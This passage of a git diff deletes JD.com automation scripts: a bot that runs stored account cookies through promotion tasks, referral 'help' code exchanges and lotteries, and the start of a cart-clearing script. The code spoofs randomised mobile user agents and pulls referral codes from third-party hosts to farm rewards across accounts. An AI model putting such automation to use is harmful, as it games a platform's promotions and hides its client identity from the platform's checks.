console.log(`失败:${JSON.stringify(data)}`); - } - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(data); - } - }) - }); -} -function doQuestion(brandId, questionId, result) { - return new Promise(resolve => { - const body = {"brandId":`${brandId}`,"questionId":`${questionId}`,"result":result}; - const options = taskPostUrl('/khc/task/doQuestion', body) - $.post(options, (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - console.log(`doQuestion 领取答题任务奖励 结果:${data}`); - data = JSON.parse(data); - if (data && data['code'] === 200) { - if (data['data']['jingBean']) $.beans += data['data']['jingBean']; - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} -//逛好货街,做任务 -async function doBrowseshopTask() { - $.browseshopList = $.browseshopList.filter(v => !!v && v['status'] === "6"); - if ($.browseshopList && $.browseshopList.length) console.log(`\n开始 【逛好货街,做任务】,需等待10秒`) - for (let shop of $.browseshopList) { - await doBrowse(shop['id'], "", "browseShop", "browse", "browseShop"); - await $.wait(10000); - if ($.browseId) { - await getBrowsePrize($.browseId) - } - } -} -function indexInfo(flag = false) { - const options = taskPostUrl(`/khc/index/indexInfo`, {}) - $.hotProductList = []; - $.brandList = []; - $.browseshopList = []; - return new Promise( (resolve) => { - $.post(options, async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - data = $.toObj(data); - if (data.code === 200) { - $.hotProductList = data['data']['hotProductList']; - $.brandList = data['data']['brandList']; - $.browseshopList = data['data']['browseshopList']; - } else { - console.log(`异常:${JSON.stringify(data)}`) - } - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }) - }); -} -//获取助力信息 -function supportList() { - const options = taskPostUrl('/khc/index/supportList', {}) - return new Promise( (resolve) => { - $.post(options, async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data); - if (data.code === 200) { - console.log(`助力情况:${data['data']['supportedNums']}/${data['data']['supportNeedNums']}`); - message += `邀请好友助力:${data['data']['supportedNums']}/${data['data']['supportNeedNums']}\n` - } - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }) - }); -} -//积分抽奖 -function lottery() { - const options = taskPostUrl('/khc/record/lottery', {}) - return new Promise( (resolve) => { - $.post(options, async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data); - if (data.code === 200) { - if (data.data.prizeId !== 8) { - //已中奖 - const url = 'https://carnivalcity.m.jd.com/#/integralDetail'; - console.log(`积分抽奖获得:${data.data.prizeName}`); - message += `积分抽奖获得:${data.data.prizeName}\n`; - $.msg($.name, '', `京东账号 ${$.index} ${$.nickName || $.UserName}\n积分抽奖获得:${data.data.prizeName}\n兑换地址:${url}`, { 'open-url': url }); - if ($.isNode()) await notify.sendNotify($.name, `京东账号 ${$.index} ${$.nickName || $.UserName}\n积分抽奖获得:${data.data.prizeName}\n兑换地址:${url}`); - } else { - console.log(`积分抽奖结果:${data['data']['prizeName']}}`); - } - } - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }) - }); -} -//查询抽奖记录(未兑换的) -function check() { - const options = taskPostUrl('/khc/record/convertRecord', { pageNum: 1 }) - return new Promise( (resolve) => { - $.post(options, async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data); - let str = ''; - if (data.code === 200) { - for (let obj of data.data) { - if (obj.hasOwnProperty('fillStatus') && obj.fillStatus !== true) { - str += JSON.stringify(obj); - } - } - } - if (str.length > 0) { - const url = 'https://carnivalcity.m.jd.com/#/integralDetail'; - $.msg($.name, '', `京东账号 ${$.index} ${$.nickName || $.UserName}\n积分抽奖获得:${str}\n兑换地址:${url}`, { 'open-url': url }); - if ($.isNode()) await notify.sendNotify($.name, `京东账号 ${$.index} ${$.nickName || $.UserName}\n积分抽奖获得:${str}\n兑换地址:${url}`); - } - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }) - }); -} -function myRank() { - return new Promise(resolve => { - const options = taskPostUrl("/khc/rank/myPastRanks", {}); - $.post(options, async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data); - if (data.code === 200) { - if (data.data && data.data.length) { - for (let i = 0; i < data.data.length; i++) { - $.date = data.data[i]['date']; - if (data.data[i].status === '1') { - console.log(`开始领取往期奖励【${data.data[i]['prizeName']}】`) - let res = await saveJbean($.date); - // console.log('领奖结果', res) - if (res && res.code === 200) { - $.beans += Number(res.data); - console.log(`${data.data[i]['date']}日 【${res.data}】京豆奖励领取成功`) - } else { - console.log(`往期奖励领取失败:${JSON.stringify(res)}`); - } - await $.wait(500); - } else if (data.data[i].status === '3') { - console.log(`${data.data[i]['date']}日 【${data.data[i]['prizeName']}】往期京豆奖励已领取~`) - } else { - console.log(`${data.data[i]['date']}日 【${data.data[i]['status']}】往期京豆奖励,今日争取进入前30000名哦~`) - } - } - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} -//领取往期奖励API -function saveJbean(date) { - return new Promise(resolve => { - const body = {"date":`${date}`}; - const options = taskPostUrl('/khc/rank/getRankJingBean', body) - $.post(options, (err, resp, data) => { - try { - // console.log('领取京豆结果', data); - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data); - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} -async function doHelp() { - console.log(`\n开始助力好友`); - for (let i in $.newShareCodes) { - let item = $.newShareCodes[i] - if (!item) continue; - const helpRes = await toHelp(item.trim()); - if (typeof helpRes === 'object') { - if (helpRes.data.status === 5) { - console.log(`助力机会已耗尽,跳出助力`); - break; - }else if (helpRes.data.status === 4){ - console.log(`该助力码[${item}]已达上限`); - $.newShareCodes[i] = '' - }else if (helpRes.data.status === 3){ - console.log(`已经助力过`); - }else if (helpRes.data.status === 2){ - console.log(`该助力码[${item}]过期`); - $.newShareCodes[i] = '' - }else if (helpRes.data.status === 1){ - console.log(`不能助力自己`); - }else if (helpRes.msg.indexOf('请求参数不合规') > -1){ - console.log(`该助力码[${item}]助力码有问题`) - $.newShareCodes[i] = '' - }else if (helpRes.msg.indexOf('未登录') > -1 || helpRes.msg.indexOf('火爆') > -1){ - console.log(`${helpRes.msg},跳出助力`) - break; - }else{ - console.log(`该助力码[${item}]助力结果\n${$.toStr(helpRes)}`) - } - }else{ - console.log(`该助力码[${item}]助力结果\n${$.toStr(helpRes)}`) - } - } -} -//助力API -function toHelp(code = "ddd345fb-57bb-4ece-968b-7bf4c92be7cc") { - return new Promise(resolve => { - const body = {"shareId":`${code}`}; - const options = taskPostUrl('/khc/task/doSupport', body) - $.post(options, (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - // console.log(`助力结果:${data}`); - data = JSON.parse(data); - if (data && data['code'] === 200) { - if (data['data']['status'] === 6) console.log(`助力成功\n`) - if (data['data']['jdNums']) $.beans += data['data']['jdNums']; - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} -//获取邀请码API -function getHelp() { - return new Promise(resolve => { - const options = taskPostUrl("/khc/task/getSupport", {}); - $.post(options, async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data); - if (data.code === 200) { - console.log(`\n\n${$.name}互助码每天都变化,旧的不可继续使用`); - $.log(`【京东账号${$.index}(${$.UserName})的${$.name}好友互助码】${data.data.shareId}\n\n`); - $.temp.push(data.data.shareId); - } else { - console.log(`获取邀请码失败:${JSON.stringify(data)}`); - if (data.code === 1002 || data.code === 1001) $.blockAccount = true; - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} -//获取当前活动总京豆数量 -function getListJbean() { - return new Promise(resolve => { - const body = { - pageNum: `` - } - const options = taskPostUrl("/khc/record/jingBeanRecord", body); - $.post(options, async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data); - if (data.code === 200) { - $.jingBeanNum = data.data.jingBeanNum || 0; - message += `累计获得京豆:${$.jingBeanNum}🐶\n`; - } else { - console.log(`jingBeanRecord失败:${JSON.stringify(data)}`); - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} -//查询累计获得积分 -function getListIntegral() { - return new Promise(resolve => { - const body = { - pageNum: `` - } - const options = taskPostUrl("/khc/record/integralRecord", body); - $.post(options, async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data); - if (data.code === 200) { - $.integralCount = data.data.integralNum || 0;//累计活动积分 - message += `累计获得积分:${$.integralCount}\n`; - console.log(`开始抽奖,当前积分可抽奖${parseInt($.integralCount / 50)}次\n`); - for (let i = 0; i < parseInt($.integralCount / 50); i ++) { - await lottery(); - await $.wait(500); - } - } else { - console.log(`integralRecord失败:${JSON.stringify(data)}`); - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} - -//查询今日累计积分与排名 -function getListRank() { - return new Promise(resolve => { - const options = taskPostUrl("/khc/rank/dayRank", {}); - $.post(options, async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data); - if (data.code === 200) { - if (data.data.myRank) { - $.integer = data.data.myRank.integral;//当前获得积分 - $.num = data.data.myRank.rank;//当前排名 - message += `当前获得积分:${$.integer}\n`; - message += `当前获得排名:${$.num}\n`; - } - if (data.data.lastRank) { - $.lasNum = data.data.lastRank.rank;//当前参加活动人数 - message += `当前参赛人数:${$.lasNum}\n`; - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} - -function updateShareCodesCDN(url = 'https://cdn.jsdelivr.net/gh/smiek2221/updateTeam@master/shareCodes/jd_cityShareCodes.json') { - return new Promise(resolve => { - $.get({url , headers:{"User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1")}, timeout: 200000}, async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - $.updatePkActivityIdRes = JSON.parse(data); - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - -function readShareCode() { - console.log(`开始`) - return new Promise(async resolve => { - $.get({url: `https://jd.smiek.tk/info_carnivalcity`, 'timeout': 20000}, (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (data) { - data = JSON.parse(data); - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - await $.wait(20000); - resolve() - }) -} -//格式化助力码 -function shareCodesFormat() { - return new Promise(async resolve => { - // console.log(`第${$.index}个京东账号的助力码:::${$.shareCodesArr[$.index - 1]}`) - $.newShareCodes = []; - if ($.shareCodesArr[$.index - 1]) { - $.newShareCodes = $.shareCodesArr[$.index - 1].split('@'); - } else { - // console.log(`由于您第${$.index}个京东账号未提供shareCode,将采纳本脚本自带的助力码\n`) - const tempIndex = $.index > inviteCodes.length ? (inviteCodes.length - 1) : ($.index - 1); - $.newShareCodes = inviteCodes[tempIndex] && inviteCodes[tempIndex].split('@') || []; - if ($.updatePkActivityIdRes && $.updatePkActivityIdRes.length) $.newShareCodes = [...$.updatePkActivityIdRes, ...$.newShareCodes]; - } - const readShareCodeRes = await readShareCode(); - if (readShareCodeRes && readShareCodeRes.code === 200) { - $.newShareCodes = [...new Set([...$.newShareCodes, ...(readShareCodeRes.data || [])])]; - } - // console.log(`第${$.index}个京东账号将要助力的好友${JSON.stringify($.newShareCodes)}`) - resolve(); - }) -} -function requireConfig() { - return new Promise(resolve => { - console.log(`开始获取${$.name}配置文件\n`); - let shareCodes = []; - if ($.isNode()) { - if (process.env.JD818_SHARECODES) { - if (process.env.JD818_SHARECODES.indexOf('\n') > -1) { - shareCodes = process.env.JD818_SHARECODES.split('\n'); - } else { - shareCodes = process.env.JD818_SHARECODES.split('&'); - } - } - } - console.log(`共${cookiesArr.length}个京东账号\n`); - $.shareCodesArr = []; - if ($.isNode()) { - Object.keys(shareCodes).forEach((item) => { - if (shareCodes[item]) { - $.shareCodesArr.push(shareCodes[item]) - } - }) - } - console.log(`您提供了${$.shareCodesArr.length}个账号的${$.name}助力码\n`); - resolve() - }) -} - -function taskPostUrl(a,t = {}) { - const body = $.toStr({...t,"apiMapping":`${a}`}) - return { - url: `${JD_API_HOST}`, - body: `appid=guardian-starjd&functionId=carnivalcity_jd_prod&body=${body}&t=${Date.now()}&loginType=2`, - headers: { - "Accept": "application/json, text/plain, */*", - "Accept-Encoding": "gzip, deflate, br", - "Accept-Language": "zh-cn", - "Connection": "keep-alive", - "Content-Type": "application/x-www-form-urlencoded", - "Origin": "https://carnivalcity.m.jd.com", - "Referer": "https://carnivalcity.m.jd.com/", - "Cookie": cookie, - "User-Agent": $.UA, - } - } -} - - -async function showMsg() { - if ($.beans) { - allMessage += `京东账号${$.index} ${$.nickName || $.UserName}\n本次运行获得:${$.beans}京豆\n${message}活动地址:https://carnivalcity.m.jd.com${$.index !== cookiesArr.length ? '\n\n' : ''}` - } - $.msg($.name, `京东账号${$.index} ${$.nickName || $.UserName}`, `${message}具体详情点击弹窗跳转后即可查看`, {"open-url": "https://carnivalcity.m.jd.com"}); -} - -function getUA(){ - $.UA = `jdapp;iPhone;10.0.10;14.3;${randomString(40)};network/wifi;model/iPhone12,1;addressid/4199175193;appBuild/167741;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1` -} -function randomString(e) { - e = e || 32; - let t = "abcdef0123456789", a = t.length, n = ""; - for (i = 0; i < e; i++) - n += t.charAt(Math.floor(Math.random() * a)); - return n -} -function jsonParse(str) { - if (typeof str == "string") { - try { - return JSON.parse(str); - } catch (e) { - console.log(e); - $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') - return []; - } - } -} - -function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} \ No newline at end of file diff --git a/backUp/gua_cleancart.js b/backUp/gua_cleancart.js deleted file mode 100644 index 7c216d2..0000000 --- a/backUp/gua_cleancart.js +++ /dev/null @@ -1,356 +0,0 @@ -/* -清空购物车 -更新时间:2021-10-27 -因其他脚本会加入商品到购物车,故此脚本用来清空购物车 -包括预售 -需要算法支持 -默认:不执行 如需要请添加环境变量 -gua_cleancart_Run="true" -gua_cleancart_SignUrl="" # 算法url - -—————————————— -1.@&@ 前面加数字 指定账号pin -如果有中文请填写中文 -2.|-| 账号之间隔开 -3.英文大小写请填清楚 -4.优先匹配账号再匹配* -5.定义不清空的[商品]名称支持模糊匹配 -6.pin@&@ 👉 指定账号(后面添加商品 前面账号[pin] *表示所有账号 -7.|-| 👉 账号之间隔开 -—————————————— - -商品名称规则 -——————gua_cleancart_products———————— -pin2@&@商品1,商品2👉该pin这几个商品名不清空 -pin5@&@👉该pin全清 -pin3@&@不清空👉该pin不清空 -*@&@不清空👉所有账号不请客 -*@&@👉所有账号清空 - -优先匹配账号再匹配* -|-| 👉 账号之间隔开 -有填帐号pin则*不适配 -—————————————— -如果有不清空的一定要加上"*@&@不清空" -防止没指定的账号购物车全清空 - -*/ -let jdSignUrl = '' // 算法url -let cleancartRun = 'false' -let cleancartProducts = '' - -const $ = new Env('清空购物车'); -const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; -const notify = $.isNode() ? require('./sendNotify') : ''; -//IOS等用户直接用NobyDa的jd cookie -let cookiesArr = [], - cookie = ''; -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; -} else { - cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); -} - -message = '' - -jdSignUrl = $.isNode() ? (process.env.gua_cleancart_SignUrl ? process.env.gua_cleancart_SignUrl : `${jdSignUrl}`) : ($.getdata('gua_cleancart_SignUrl') ? $.getdata('gua_cleancart_SignUrl') : `${jdSignUrl}`); - -cleancartRun = $.isNode() ? (process.env.gua_cleancart_Run ? process.env.gua_cleancart_Run : `${cleancartRun}`) : ($.getdata('gua_cleancart_Run') ? $.getdata('gua_cleancart_Run') : `${cleancartRun}`); - -cleancartProducts = $.isNode() ? (process.env.gua_cleancart_products ? process.env.gua_cleancart_products : `${cleancartProducts}`) : ($.getdata('gua_cleancart_products') ? $.getdata('gua_cleancart_products') : `${cleancartProducts}`); - -let productsArr = [] -let cleancartProductsAll = [] -for (let i of cleancartProducts && cleancartProducts.split('|-|')) { - productsArr.push(i) -} -for (let i of cleancartProducts && cleancartProducts.split('|-|')) { - productsArr.push(i) -} -for (let i in productsArr) { - if(productsArr[i].indexOf('@&@') > -1){ - let arr = productsArr[i].split('@&@') - cleancartProductsAll[arr[0]] = arr[1].split(',') - } -} -!(async () => { - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/', { - "open-url": "https://bean.m.jd.com/" - }); - return; - } - if(cleancartRun !== 'true'){ - console.log('脚本停止\n请添加环境变量[gua_cleancart_Run]为"true"') - return - } - if(!cleancartProducts){ - console.log('脚本停止\n请添加环境变量[gua_cleancart_products]\n清空商品\n内容规则看脚本文件') - return - } - $.out = false - for (let i = 0; i < cookiesArr.length; i++) { - cookie = cookiesArr[i]; - if (cookie) { - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) - $.index = i + 1; - console.log(`\n\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); - if(cleancartProductsAll[$.UserName]){ - $.cleancartProductsArr = cleancartProductsAll[$.UserName] - }else if(cleancartProductsAll["*"]){ - $.cleancartProductsArr = cleancartProductsAll["*"] - }else $.cleancartProductsArr = false - if($.cleancartProductsArr) console.log($.cleancartProductsArr) - await run(); - if($.out) break - } - } - if(message){ - $.msg($.name, ``, `${message}`); - if ($.isNode()){ - await notify.sendNotify(`${$.name}`, `${message}`); - } - } -})() - .catch((e) => $.logErr(e)) - .finally(() => $.done()) - -async function run(){ - try{ - let msg = '' - let signBody = `{"homeWishListUserFlag":"1","userType":"0","updateTag":true,"showPlusEntry":"2","hitNewUIStatus":"1","cvhv":"049591","cartuuid":"hjudwgohxzVu96krv/T6Hg==","adid":""}` - let body = await jdSign('cartClearQuery', signBody) - if($.out) return - if(!body){ - console.log('获取不到算法') - return - } - let data = await jdApi('cartClearQuery',body) - let res = $.toObj(data,data); - if(typeof res == 'object' && res){ - if(res.resultCode == 0){ - if(!res.clearCartInfo || !res.subTitle){ - msg += `${res.mainTitle}\n` - console.log(res.mainTitle) - }else{ - let num = 0 - if(res.subTitle){ - num = res.subTitle.match(/共(\d+)件商品/).length > 0 && res.subTitle.match(/共(\d+)件商品/)[1] || 0 - msg += res.subTitle + "\n" - console.log(res.subTitle) - } - // console.log(`共${num}件商品`) - if(num != 0){ - let operations = [] - let operNum = 0 - for(let a of res.clearCartInfo || {}){ - // console.log(a.groupName) - // if(a.groupName.indexOf('7天前加入购物车') > -1){ - for(let s of a.groupDetails || []){ - if(toSDS(s.name)){ - // console.log(s.unusable,s.skuUuid,s.name) - operNum += s.clearSkus && s.clearSkus.length || 1; - operations.push({ - "itemType": s.itemType+"", - "suitType": s.suitType, - "skuUuid": s.skuUuid+"", - "itemId": s.itemId || s.skuId, - "useUuid": typeof s.useUuid !== 'undefined' && s.useUuid || false - }) - } - } - // } - } - console.log(`准备清空${operNum}件商品`) - if(operations.length == 0){ - console.log(`清空${operNum}件商品|没有找到要清空的商品`) - msg += `清空${operNum}件商品|没有找到要清空的商品\n` - }else{ - let clearBody = `{"homeWishListUserFlag":"1","userType":"0","updateTag":false,"showPlusEntry":"2","hitNewUIStatus":"1","cvhv":"049591","cartuuid":"hjudwgohxzVu96krv/T6Hg==","operations":${$.toStr(operations,operations)},"adid":"","coord_type":"0"}` - clearBody = await jdSign('cartClearRemove', clearBody) - 